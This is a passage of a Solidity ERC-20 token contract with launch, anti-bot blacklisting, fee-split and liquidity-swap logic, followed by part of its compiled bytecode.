true); excludeFromMaxTx(address(0xdead), true); excludeFromMaxTx(address(dexRouter), true); excludeFromMaxTx(dexPair, true); // Add liquidity dexRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(dexPair).approve(address(dexRouter), type(uint256).max); // Anti-bot setBots(botAddresses_, true); // Trade settings setMaxTxAmount(maxTxAmount_); setMaxWalletAmount(maxWalletAmount_); setSwapTokensAmount(((totalSupply() * 5) / 10000) / 1e18); // 0.05% // Launch settings _launchTime = block.timestamp; _launchBlock = block.number; _botBlocks = botBlocks_; _botSeconds = botSeconds_; swapEnabled = true; limitsEnabled = true; _tradingEnabled = true; } function setCharityWallet(address charityWallet_) public onlyOwner { require(charityWallet_ != address(0), "Token: charity wallet address invalid"); if (isExcludedFromFees(charityWallet)) { excludeFromFees(charityWallet, false); } if (isExcludedFromMaxTx(charityWallet)) { excludeFromMaxTx(charityWallet, false); } charityWallet = charityWallet_; excludeFromFees(charityWallet_, true); excludeFromMaxTx(charityWallet_, true); } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { require(ecosystemWallet_ != address(0), "Token: ecosystem wallet address invalid"); if (isExcludedFromFees(ecosystemWallet)) { excludeFromFees(ecosystemWallet, false); } if (isExcludedFromMaxTx(ecosystemWallet)) { excludeFromMaxTx(ecosystemWallet, false); } ecosystemWallet = ecosystemWallet_; excludeFromFees(ecosystemWallet_, true); excludeFromMaxTx(ecosystemWallet_, true); } function disableLimits() external onlyOwner { require(limitsEnabled, "Token: limits already disabled"); limitsEnabled = false; } function disableTransferDelay() external onlyOwner { require(transferDelayEnabled, "Token: transfer delay already disabled"); transferDelayEnabled = false; } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { require(maxTxAmount_ >= (((totalSupply() * 75) / 10000) / 1e18), "Token: max TX amount cannot be below 0.75%"); _maxTxAmount = maxTxAmount_ * 1e18; } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { require(maxWalletAmount_ >= ((totalSupply() / 100) / 1e18), "Token: max wallet amount cannot be below 1%"); _maxWalletAmount = maxWalletAmount_ * 1e18; } function setSwapTokensAmount(uint256 swapTokensAmount_) public { require(_msgSender() == owner() || _msgSender() == ecosystemWallet, "Token: caller is not authorised"); require(swapTokensAmount_ >= (((totalSupply() * 5) / 100000) / 1e18), "Token: swap tokens amount cannot be below 0.005%"); require(swapTokensAmount_ <= ((totalSupply() / 1000) / 1e18), "Token: swap tokens amount cannot be above 0.1%"); swapTokensAmount = swapTokensAmount_ * 1e18; } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { if (isExcluded_) { require(excludeAddress_ != address(dexRouter) && excludeAddress_ != dexPair, "Token: excluded from fees address invalid"); } else { require(excludeAddress_ != owner() && excludeAddress_ != address(this) && excludeAddress_ != address(0xdead), "Token: excluded from fees address invalid"); } _isExcludedFromFees[excludeAddress_] = isExcluded_; } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { return _isExcludedFromFees[excludeAddress_]; } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { if (!isExcluded_) { require(excludeAddress_ != owner() && excludeAddress_ != address(this) && excludeAddress_ != address(0xdead) && excludeAddress_ != address(dexRouter) && excludeAddress_ != dexPair, "Token: excluded from max TX address invalid"); } _isExcludedFromMaxTx[excludeAddress_] = isExcluded_; } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { return _isExcludedFromMaxTx[excludeAddress_]; } function setAntiBotEnabled(bool antiBotEnabled_) external { require(_msgSender() == owner() || _msgSender() == ecosystemWallet, "Token: caller is not authorised"); antiBotEnabled = antiBotEnabled_; } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { require(_msgSender() == owner() || _msgSender() == ecosystemWallet, "Token: caller is not authorised"); require(botAddresses_.length > 0 && botAddresses_.length <= 200, "Token: number of bot addresses cannot be above 200"); if (isBlacklisting_ && _tradingEnabled) { require(block.timestamp <= (_launchTime + (15 minutes)), "Token: bots can only be blacklisted within the first 15 minutes from launch"); } for (uint256 i = 0; i < botAddresses_.length; i++) { if (isBlacklisting_ && (botAddresses_[i] == owner() || botAddresses_[i] == address(this) || botAddresses_[i] == address(0xdead) || botAddresses_[i] == dexPair || botAddresses_[i] == address(dexRouter))) continue; if (_bots[botAddresses_[i]] == isBlacklisting_) continue; _bots[botAddresses_[i]] = isBlacklisting_; if (isBlacklisting_) { totalBots++; } else { totalBots--; } } } function isBot(address botAddress_) public view returns (bool) { return _bots[botAddress_]; } function forceSwap(uint256 tokensAmount_) external { require(_msgSender() == owner() || _msgSender() == ecosystemWallet, "Token: caller is not authorised"); uint256 contractTokenBalance = balanceOf(address(this)); require(contractTokenBalance > 0, "Token: contract token balance must be above zero"); require(tokensAmount_ <= contractTokenBalance, "Token: swap amount exceeds contract balance"); _swapLiquify(tokensAmount_); } function withdrawCurrency() external onlyOwner { uint256 currencyBalance = address(this).balance; require(currencyBalance > 0, "Token: contract currency balance must be above 0"); (bool success, ) = _msgSender().call{value: currencyBalance}(""); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Token: transfer amount must be greater than zero"); // Anti-bot if (antiBotEnabled) { require(!_bots[to] && !_bots[from], "Token: address blacklisted"); } // Trading enabled if (!_tradingEnabled) { require(isExcludedFromFees(from) || isExcludedFromFees(to), "Token: trading not yet enabled"); } if (limitsEnabled && !_isSwapLocked && from != owner() && to != owner() && to != address(0) && to != address(0xdead)) { // Blacklist bots by timestamp & block if ((block.timestamp <= (_launchTime + _botSeconds) || block.number <= (_launchBlock + _botBlocks)) && to != address(this) && to != dexPair && to != address(dexRouter)) { _bots[to] = true; totalBots++; } // Prevent multiple transfers in specified blocks if (transferDelayEnabled && from != address(this) && to != dexPair && to != address(dexRouter)) { require(_lastTransferBlock[tx.origin] < (block.number - _transferDelayBlocks) && _lastTransferBlock[to] < (block.number - _transferDelayBlocks), "Token: transfer delay enabled"); _lastTransferBlock[tx.origin] = block.number; _lastTransferBlock[to] = block.number; } // Max TX and max wallet if (from == dexPair && !isExcludedFromMaxTx(to)) { // Buy require(amount <= _maxTxAmount, "Token: buy amount exceeds max TX limit"); require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } else if (to == dexPair && !isExcludedFromMaxTx(from)) { // Sell require(amount <= _maxTxAmount, "Token: sell amount exceeds max TX limit"); } else if (!isExcludedFromMaxTx(to)) { // Transfer require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } } // Swap contract tokens, add liquidity, then distribute if (swapEnabled && !_isSwapLocked && balanceOf(address(this)) > swapTokensAmount && from != dexPair && !isExcludedFromFees(from) && !isExcludedFromFees(to)) { _swapLiquify(swapTokensAmount); } bool deductFees = !_isSwapLocked; // Omit fees for excluded addresses if (isExcludedFromFees(from) || isExcludedFromFees(to) || to == address(dexRouter)) { deductFees = false; } uint256 totalAmount = amount; uint256 totalFees = 0; // Take fees on buys/sells, not wallet transfers if (deductFees) { if (to == dexPair && sellTotalFees > 0) { // Sell totalFees = (totalAmount * sellTotalFees) / 100; _tokensForCharity += (totalFees * sellCharityFee) / sellTotalFees; _tokensForLiquidity += (totalFees * sellLiquidityFee) / sellTotalFees; _tokensForEcosystem += (totalFees * sellEcosystemFee) / sellTotalFees; } else if (from == dexPair && buyTotalFees > 0) { // Buy totalFees = (totalAmount * buyTotalFees) / 100; _tokensForCharity += (totalFees * buyCharityFee) / buyTotalFees; _tokensForLiquidity += (totalFees * buyLiquidityFee) / buyTotalFees; _tokensForEcosystem += (totalFees * buyEcosystemFee) / buyTotalFees; } if (totalFees > 0) { super._transfer(from, address(this), totalFees); totalAmount -= totalFees; } } super._transfer(from, to, totalAmount); } function _swapLiquify(uint256 tokensAmount) private lockSwap { uint256 totalTokens = _tokensForCharity + _tokensForLiquidity + _tokensForEcosystem; if (totalTokens == 0) return; uint256 halfLiquidityTokens = ((tokensAmount * _tokensForLiquidity) / totalTokens) / 2; _swapTokensForCurrency(tokensAmount - halfLiquidityTokens); uint256 currencyBalance = address(this).balance; uint256 currencyForCharity = (currencyBalance * _tokensForCharity) / totalTokens; uint256 currencyForLiquidity = (currencyBalance * _tokensForLiquidity) / totalTokens; bool sendSuccess; (sendSuccess, ) = address(charityWallet).call{value: currencyForCharity}(""); if (halfLiquidityTokens > 0 && currencyForLiquidity > 0) { _addLiquidity(halfLiquidityTokens, currencyForLiquidity); } (sendSuccess, ) = address(ecosystemWallet).call{value: address(this).balance}(""); _tokensForCharity = 0; _tokensForLiquidity = 0; _tokensForEcosystem = 0; } function _swapTokensForCurrency(uint256 tokensAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokensAmount); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokensAmount, 0, path, address(this), block.timestamp); } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { _approve(address(this), address(dexRouter), tokensAmount); dexRouter.addLiquidityETH{value: currencyAmount}(address(this), tokensAmount, 0, 0, address(0xdead), block.timestamp); } receive() external payable {} }
0x6080604052600436106102975760003560e01c8063715018a61161015a578063d4c989d3116100c1578063ec28438a1161007a578063ec28438a14610732578063f11a24d314610752578063f242ab4114610767578063f3ff43da1461077c578063f63743421461079c578063f928364c146107b15761029e565b8063d4c989d314610693578063d85ba063146106b3578063d8c6404b146106c8578063dd62ed3e146106dd578063e884f260146106fd578063ea65bad9146107125761029e565b8063a1dc92bc11610113578063a1dc92bc146105f4578063a457c2d714610609578063a9059cbb14610629578063b313513114610649578063c02466681461065e578063c876d0b91461067e5761029e565b8063715018a61461056b5780637b2087691461058057806380c54294146105955780638da5cb5b146105aa57806395d89b41146105bf5780639c0db5f3146105d45761029e565b806339509351116101fe5780635f1c3182116101b75780635f1c3182146104d7578063658c27a9146104ec57806365b99f631461050c5780636a486a8e146105215780636ddd17131461053657806370a082311461054b5761029e565b8063395093511461042d5780633bbac5791461044d578063435263ef1461046d57806343e716fe146104825780634fbee193146104a257806356b4bb6e146104c25761029e565b806323b872dd1161025057806323b872dd1461037657806327a14fc2146103965780632d02604e146103b657806330563bd7146103d6578063313ce567146103f65780633582ad23146104185761029e565b806306fdde03146102a35780630758d924146102ce578063095ea7b3146102f05780630d7f14411461031d57806318160ddd1461033f57806321cd0c40146103545761029e565b3661029e57005b600080fd5b3480156102af57600080fd5b506102b86107c6565b6040516102c59190612d4b565b60405180910390f35b3480156102da57600080fd5b506102e3610858565b6040516102c59190612cbe565b3480156102fc57600080fd5b5061031061030b366004612b6c565b610867565b6040516102c59190612d40565b34801561032957600080fd5b50610332610889565b6040516102c591906136f8565b34801561034b57600080fd5b5061033261088f565b34801561036057600080fd5b5061037461036f366004612bdc565b610895565b005b34801561038257600080fd5b50610310610391366004612aff565b610915565b3480156103a257600080fd5b506103746103b1366004612c14565b610943565b3480156103c257600080fd5b506103746103d1366004612c59565b6109e0565b3480156103e257600080fd5b506103746103f1366004612a88565b610eb6565b34801561040257600080fd5b5061040b610fb1565b6040516102c59190613771565b34801561042457600080fd5b50610310610fb6565b34801561043957600080fd5b50610310610448366004612b6c565b610fc6565b34801561045957600080fd5b50610310610468366004612a88565b610ff2565b34801561047957600080fd5b506102e3611014565b34801561048e57600080fd5b5061037461049d366004612c14565b611023565b3480156104ae57600080fd5b506103106104bd366004612a88565b611139565b3480156104ce57600080fd5b50610332611157565b3480156104e357600080fd5b5061033261115d565b3480156104f857600080fd5b50610310610507366004612a88565b611163565b34801561051857600080fd5b50610374611181565b34801561052d57600080fd5b50610332611247565b34801561054257600080fd5b5061031061124d565b34801561055757600080fd5b50610332610566366004612a88565b61125d565b34801561057757600080fd5b50610374611278565b34801561058c57600080fd5b506102e36112c3565b3480156105a157600080fd5b506103326112d2565b3480156105b657600080fd5b506102e36112d8565b3480156105cb57600080fd5b506102b86112e7565b3480156105e057600080fd5b506103746105ef366004612b97565b6112f6565b34801561060057600080fd5b5061033261165b565b34801561061557600080fd5b50610310610624366004612b6c565b611661565b34801561063557600080fd5b50610310610644366004612b6c565b6116a9565b34801561065557600080fd5b506103326116c1565b34801561066a57600080fd5b50610374610679366004612b3f565b6116c7565b34801561068a57600080fd5b506103106117e9565b34801561069f57600080fd5b506103746106ae366004612b3f565b6117f9565b3480156106bf57600080fd5b50610332611901565b3480156106d457600080fd5b50610310611907565b3480156106e957600080fd5b506103326106f8366004612ac7565b611910565b34801561070957600080fd5b5061037461193b565b34801561071e57600080fd5b5061037461072d366004612c14565b6119b2565b34801561073e57600080fd5b5061037461074d366004612c14565b611a70565b34801561075e57600080fd5b50610332611b19565b34801561077357600080fd5b506102e3611b1f565b34801561078857600080fd5b50610374610797366004612a88565b611b2e565b3480156107a857600080fd5b50610332611c1b565b3480156107bd57600080fd5b50610374611c21565b6060600380546107d590613804565b80601f016020809104026020016040519081016040528092919081815260200182805461080190613804565b801561084e5780601f106108235761010080835404028352916020019161084e565b820191906000526020600020905b81548152906001019060200180831161083157829003601f168201915b5050505050905090565b6006546001600160a01b031681565b600080610872611c98565b905061087f818585611c9c565b5060019392505050565b60135481565b60025490565b61089d6112d8565b6001600160a01b03166108ae611c98565b6001600160a01b031614806108dd57506009546001600160a01b03166108d2611c98565b6001600160a01b0316145b6109025760405162461bcd60e51b81526004016108f99061311c565b60405180910390fd5b601c805460ff1916911515919091179055565b600080610920611c98565b905061092d858285611d50565b610938858585611d9a565b506001949350505050565b61094b611c98565b6001600160a01b031661095c6112d8565b6001600160a01b0316146109825760405162461bcd60e51b81526004016108f990613275565b670de0b6b3a7640000606461099561088f565b61099f9190613797565b6109a99190613797565b8110156109c85760405162461bcd60e51b81526004016108f9906130d1565b6109da81670de0b6b3a76400006137b7565b600d5550565b6109e8611c98565b6001600160a01b03166109f96112d8565b6001600160a01b031614610a1f5760405162461bcd60e51b81526004016108f990613275565b600954600160b01b900460ff1615610a495760405162461bcd60e51b81526004016108f990613372565b6003851115610a6a5760405162461bcd60e51b81526004016108f990613035565b600a8410158015610a7c575060788411155b610a985760405162461bcd60e51b81526004016108f9906131d5565b60008151118015610aab575060c8815111155b610ac75760405162461bcd60e51b81526004016108f990613589565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1557600080fd5b505afa158015610b29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4d9190612aab565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610baa57600080fd5b505afa158015610bbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be29190612aab565b6040518363ffffffff1660e01b8152600401610bff929190612cd2565b602060405180830381600087803b158015610c1957600080fd5b505af1158015610c2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c519190612aab565b600780546001600160a01b0319166001600160a01b0392909216919091179055610c83610c7c6112d8565b60016116c7565b610c8e3060016116c7565b610c9b61dead60016116c7565b610cad610ca66112d8565b60016117f9565b610cb83060016117f9565b610cc561dead60016117f9565b600654610cdc906001600160a01b031660016117f9565b600754610cf3906001600160a01b031660016117f9565b6006546001600160a01b031663f305d7194730610d0f8161125d565b600080610d1a6112d8565b426040518863ffffffff1660e01b8152600401610d3c96959493929190612d05565b6060604051808303818588803b158015610d5557600080fd5b505af1158015610d69573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d8e9190612c2c565b505060075460065460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b392610dc892169060001990600401612cec565b602060405180830381600087803b158015610de257600080fd5b505af1158015610df6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1a9190612bf8565b50610e268160016112f6565b610e2f83611a70565b610e3882610943565b610e6e670de0b6b3a7640000612710610e4f61088f565b610e5a9060056137b7565b610e649190613797565b61049d9190613797565b505042601e555043601f556020919091556021556009805460ff60b01b1960ff60a81b1960ff60a01b19909216600160a01b1791909116600160a81b1716600160b01b179055565b610ebe611c98565b6001600160a01b0316610ecf6112d8565b6001600160a01b031614610ef55760405162461bcd60e51b81526004016108f990613275565b6001600160a01b038116610f1b5760405162461bcd60e51b81526004016108f990612e98565b600854610f30906001600160a01b0316611139565b15610f4c57600854610f4c906001600160a01b031660006116c7565b600854610f61906001600160a01b0316611163565b15610f7d57600854610f7d906001600160a01b031660006117f9565b600880546001600160a01b0319166001600160a01b038316179055610fa38160016116c7565b610fae8160016117f9565b50565b601290565b600954600160a81b900460ff1681565b600080610fd1611c98565b905061087f818585610fe38589611910565b610fed919061377f565b611c9c565b6001600160a01b0381166000908152601d602052604090205460ff165b919050565b6009546001600160a01b031681565b61102b6112d8565b6001600160a01b031661103c611c98565b6001600160a01b0316148061106b57506009546001600160a01b0316611060611c98565b6001600160a01b0316145b6110875760405162461bcd60e51b81526004016108f99061311c565b670de0b6b3a7640000620186a061109c61088f565b6110a79060056137b7565b6110b19190613797565b6110bb9190613797565b8110156110da5760405162461bcd60e51b81526004016108f9906133ee565b670de0b6b3a76400006103e86110ee61088f565b6110f89190613797565b6111029190613797565b8111156111215760405162461bcd60e51b81526004016108f9906134b9565b61113381670de0b6b3a76400006137b7565b600e5550565b6001600160a01b03166000908152601a602052604090205460ff1690565b60225481565b600e5481565b6001600160a01b03166000908152601b602052604090205460ff1690565b611189611c98565b6001600160a01b031661119a6112d8565b6001600160a01b0316146111c05760405162461bcd60e51b81526004016108f990613275565b47806111de5760405162461bcd60e51b81526004016108f990613225565b60006111e8611c98565b6001600160a01b0316826040516111fe90612cbb565b60006040518083038185875af1925050503d806000811461123b576040519150601f19603f3d011682016040523d82523d6000602084013e611240565b606091505b5050505050565b60165481565b600954600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b611280611c98565b6001600160a01b03166112916112d8565b6001600160a01b0316146112b75760405162461bcd60e51b81526004016108f990613275565b6112c16000612495565b565b6008546001600160a01b031681565b60155481565b6005546001600160a01b031690565b6060600480546107d590613804565b6112fe6112d8565b6001600160a01b031661130f611c98565b6001600160a01b0316148061133e57506009546001600160a01b0316611333611c98565b6001600160a01b0316145b61135a5760405162461bcd60e51b81526004016108f99061311c565b6000825111801561136d575060c8825111155b6113895760405162461bcd60e51b81526004016108f990613589565b80801561139f5750600954600160b01b900460ff165b156113d257601e546113b39061038461377f565b4211156113d25760405162461bcd60e51b81526004016108f990612e27565b60005b82518110156116565781801561154557506113ee6112d8565b6001600160a01b031683828151811061141757634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316148061146c5750306001600160a01b031683828151811061145957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316145b806114b1575061dead6001600160a01b031683828151811061149e57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316145b806114fb575060075483516001600160a01b03909116908490839081106114e857634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316145b80611545575060065483516001600160a01b039091169084908390811061153257634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316145b1561154f57611644565b811515601d600085848151811061157657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff16151514156115aa57611644565b81601d60008584815181106115cf57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550811561162e57602280549060006116248361383f565b9190505550611644565b6022805490600061163e836137ed565b91905055505b8061164e8161383f565b9150506113d5565b505050565b600f5481565b60008061166c611c98565b9050600061167a8286611910565b90508381101561169c5760405162461bcd60e51b81526004016108f9906136b3565b6109388286868403611c9c565b6000806116b4611c98565b905061087f818585611d9a565b60115481565b6116cf611c98565b6001600160a01b03166116e06112d8565b6001600160a01b0316146117065760405162461bcd60e51b81526004016108f990613275565b8015611759576006546001600160a01b0383811691161480159061173857506007546001600160a01b03838116911614155b6117545760405162461bcd60e51b81526004016108f990612f1f565b6117be565b6117616112d8565b6001600160a01b0316826001600160a01b03161415801561178b57506001600160a01b0382163014155b80156117a257506001600160a01b03821661dead14155b6117be5760405162461bcd60e51b81526004016108f990612f1f565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b600954600160b81b900460ff1681565b611801611c98565b6001600160a01b03166118126112d8565b6001600160a01b0316146118385760405162461bcd60e51b81526004016108f990613275565b806118d6576118456112d8565b6001600160a01b0316826001600160a01b03161415801561186f57506001600160a01b0382163014155b801561188657506001600160a01b03821661dead14155b80156118a057506006546001600160a01b03838116911614155b80156118ba57506007546001600160a01b03838116911614155b6118d65760405162461bcd60e51b81526004016108f99061353e565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b60125481565b601c5460ff1681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b611943611c98565b6001600160a01b03166119546112d8565b6001600160a01b03161461197a5760405162461bcd60e51b81526004016108f990613275565b600954600160b81b900460ff166119a35760405162461bcd60e51b81526004016108f990612d9e565b6009805460ff60b81b19169055565b6119ba6112d8565b6001600160a01b03166119cb611c98565b6001600160a01b031614806119fa57506009546001600160a01b03166119ef611c98565b6001600160a01b0316145b611a165760405162461bcd60e51b81526004016108f99061311c565b6000611a213061125d565b905060008111611a435760405162461bcd60e51b81526004016108f990612f68565b80821115611a635760405162461bcd60e51b81526004016108f990613153565b611a6c826124e7565b5050565b611a78611c98565b6001600160a01b0316611a896112d8565b6001600160a01b031614611aaf5760405162461bcd60e51b81526004016108f990613275565b670de0b6b3a7640000612710611ac361088f565b611ace90604b6137b7565b611ad89190613797565b611ae29190613797565b811015611b015760405162461bcd60e51b81526004016108f9906132e1565b611b1381670de0b6b3a76400006137b7565b600c5550565b60105481565b6007546001600160a01b031681565b611b36611c98565b6001600160a01b0316611b476112d8565b6001600160a01b031614611b6d5760405162461bcd60e51b81526004016108f990613275565b6001600160a01b038116611b935760405162461bcd60e51b81526004016108f9906135db565b600954611ba8906001600160a01b0316611139565b15611bc457600954611bc4906001600160a01b031660006116c7565b600954611bd9906001600160a01b0316611163565b15611bf557600954611bf5906001600160a01b031660006117f9565b600980546001600160a01b0319166001600160a01b038316179055610fa38160016116c7565b60145481565b611c29611c98565b6001600160a01b0316611c3a6112d8565b6001600160a01b031614611c605760405162461bcd60e51b81526004016108f990613275565b600954600160a81b900460ff16611c895760405162461bcd60e51b81526004016108f990613482565b6009805460ff60a81b19169055565b3390565b6001600160a01b038316611cc25760405162461bcd60e51b81526004016108f99061343e565b6001600160a01b038216611ce85760405162461bcd60e51b81526004016108f990612edd565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611d439085906136f8565b60405180910390a3505050565b6000611d5c8484611910565b90506000198114611d945781811015611d875760405162461bcd60e51b81526004016108f990612fb8565b611d948484848403611c9c565b50505050565b6001600160a01b038316611dc05760405162461bcd60e51b81526004016108f9906133a9565b6001600160a01b038216611de65760405162461bcd60e51b81526004016108f990612de4565b60008111611e065760405162461bcd60e51b81526004016108f990613081565b601c5460ff1615611e6f576001600160a01b0382166000908152601d602052604090205460ff16158015611e5357506001600160a01b0383166000908152601d602052604090205460ff16155b611e6f5760405162461bcd60e51b81526004016108f9906132aa565b600954600160b01b900460ff16611eb457611e8983611139565b80611e985750611e9882611139565b611eb45760405162461bcd60e51b81526004016108f990613507565b600954600160a81b900460ff168015611ed0575060235460ff16155b8015611ef55750611edf6112d8565b6001600160a01b0316836001600160a01b031614155b8015611f1a5750611f046112d8565b6001600160a01b0316826001600160a01b031614155b8015611f2e57506001600160a01b03821615155b8015611f4557506001600160a01b03821661dead14155b156121f357602154601e54611f5a919061377f565b42111580611f775750602054601f54611f73919061377f565b4311155b8015611f8c57506001600160a01b0382163014155b8015611fa657506007546001600160a01b03838116911614155b8015611fc057506006546001600160a01b03838116911614155b15611ffc576001600160a01b0382166000908152601d60205260408120805460ff191660011790556022805491611ff68361383f565b91905055505b600954600160b81b900460ff16801561201e57506001600160a01b0383163014155b801561203857506007546001600160a01b03838116911614155b801561205257506006546001600160a01b03838116911614155b156120e557600a5461206490436137d6565b326000908152600b60205260409020541080156120a45750600a5461208990436137d6565b6001600160a01b0383166000908152600b6020526040902054105b6120c05760405162461bcd60e51b81526004016108f99061319e565b326000908152600b602052604080822043908190556001600160a01b03851683529120555b6007546001600160a01b038481169116148015612108575061210682611163565b155b1561216857600c5481111561212f5760405162461bcd60e51b81526004016108f990613622565b600d5461213b8361125d565b612145908361377f565b11156121635760405162461bcd60e51b81526004016108f990613668565b6121f3565b6007546001600160a01b03838116911614801561218b575061218983611163565b155b156121b257600c548111156121635760405162461bcd60e51b81526004016108f99061332b565b6121bb82611163565b6121f357600d546121cb8361125d565b6121d5908361377f565b11156121f35760405162461bcd60e51b81526004016108f990613668565b600954600160a01b900460ff16801561220f575060235460ff16155b80156122245750600e546122223061125d565b115b801561223e57506007546001600160a01b03848116911614155b8015612250575061224e83611139565b155b8015612262575061226082611139565b155b1561227257612272600e546124e7565b60235460ff161561228284611139565b80612291575061229183611139565b806122a957506006546001600160a01b038481169116145b156122b2575060005b8160008215612482576007546001600160a01b0386811691161480156122da57506000601654115b15612392576064601654836122ef91906137b7565b6122f99190613797565b90506016546013548261230c91906137b7565b6123169190613797565b60176000828254612327919061377f565b909155505060165460145461233c90836137b7565b6123469190613797565b60186000828254612357919061377f565b909155505060165460155461236c90836137b7565b6123769190613797565b60196000828254612387919061377f565b909155506124649050565b6007546001600160a01b0387811691161480156123b157506000601254115b15612464576064601254836123c691906137b7565b6123d09190613797565b9050601254600f54826123e391906137b7565b6123ed9190613797565b601760008282546123fe919061377f565b909155505060125460105461241390836137b7565b61241d9190613797565b6018600082825461242e919061377f565b909155505060125460115461244390836137b7565b61244d9190613797565b6019600082825461245e919061377f565b90915550505b8015612482576124758630836126a4565b61247f81836137d6565b91505b61248d8686846126a4565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6023805460ff191660011790556019546018546017546000929161250a9161377f565b612514919061377f565b9050806125215750612697565b60006002826018548561253491906137b7565b61253e9190613797565b6125489190613797565b905061255c61255782856137d6565b6127b8565b6017544790600090849061257090846137b7565b61257a9190613797565b90506000846018548461258d91906137b7565b6125979190613797565b6008546040519192506000916001600160a01b039091169084906125ba90612cbb565b60006040518083038185875af1925050503d80600081146125f7576040519150601f19603f3d011682016040523d82523d6000602084013e6125fc565b606091505b509091505084158015906126105750600082115b1561261f5761261f8583612935565b6009546040516001600160a01b0390911690479061263c90612cbb565b60006040518083038185875af1925050503d8060008114612679576040519150601f19603f3d011682016040523d82523d6000602084013e61267e565b606091505b5050600060178190556018819055601955505050505050505b506023805460ff19169055565b6001600160a01b0383166126ca5760405162461bcd60e51b81526004016108f9906133a9565b6001600160a01b0382166126f05760405162461bcd60e51b81526004016108f990612de4565b6001600160a01b038316600090815260208190526040902054818110156127295760405162461bcd60e51b81526004016108f990612fef565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061276090849061377f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127aa91906136f8565b60405180910390a350505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106127fb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561284f57600080fd5b505afa158015612863573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128879190612aab565b816001815181106128a857634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526006546128ce9130911684611c9c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790612907908590600090869030904290600401613701565b600060405180830381600087803b15801561292157600080fd5b505af115801561248d573d6000803e3d6000fd5b60065461294d9030906001600160a01b031684611c9c565b60065460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061298c9030908790600090819061dead904290600401612d05565b6060604051808303818588803b1580156129a557600080fd5b505af11580156129b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112409190612c2c565b803561100f81613886565b600082601f8301126129f9578081fd5b8135602067ffffffffffffffff80831115612a1657612a16613870565b81830260405183828201018181108482111715612a3557612a35613870565b60405284815283810192508684018288018501891015612a53578687fd5b8692505b85831015612a7c57612a68816129de565b845292840192600192909201918401612a57565b50979650505050505050565b600060208284031215612a99578081fd5b8135612aa481613886565b9392505050565b600060208284031215612abc578081fd5b8151612aa481613886565b60008060408385031215612ad9578081fd5b8235612ae481613886565b91506020830135612af481613886565b809150509250929050565b600080600060608486031215612b13578081fd5b8335612b1e81613886565b92506020840135612b2e81613886565b929592945050506040919091013590565b60008060408385031215612b51578182fd5b8235612b5c81613886565b91506020830135612af48161389b565b60008060408385031215612b7e578182fd5b8235612b8981613886565b946020939093013593505050565b60008060408385031215612ba9578182fd5b823567ffffffffffffffff811115612bbf578283fd5b612bcb858286016129e9565b9250506020830135612af48161389b565b600060208284031215612bed578081fd5b8135612aa48161389b565b600060208284031215612c09578081fd5b8151612aa48161389b565b600060208284031215612c25578081fd5b5035919050565b600080600060608486031215612c40578283fd5b8351925060208401519150604084015190509250925092565b600080600080600060a08688031215612c70578081fd5b85359450602086013593506040860135925060608601359150608086013567ffffffffffffffff811115612ca2578182fd5b612cae888289016129e9565b9150509295509295909350565b90565b6001600160a01b03919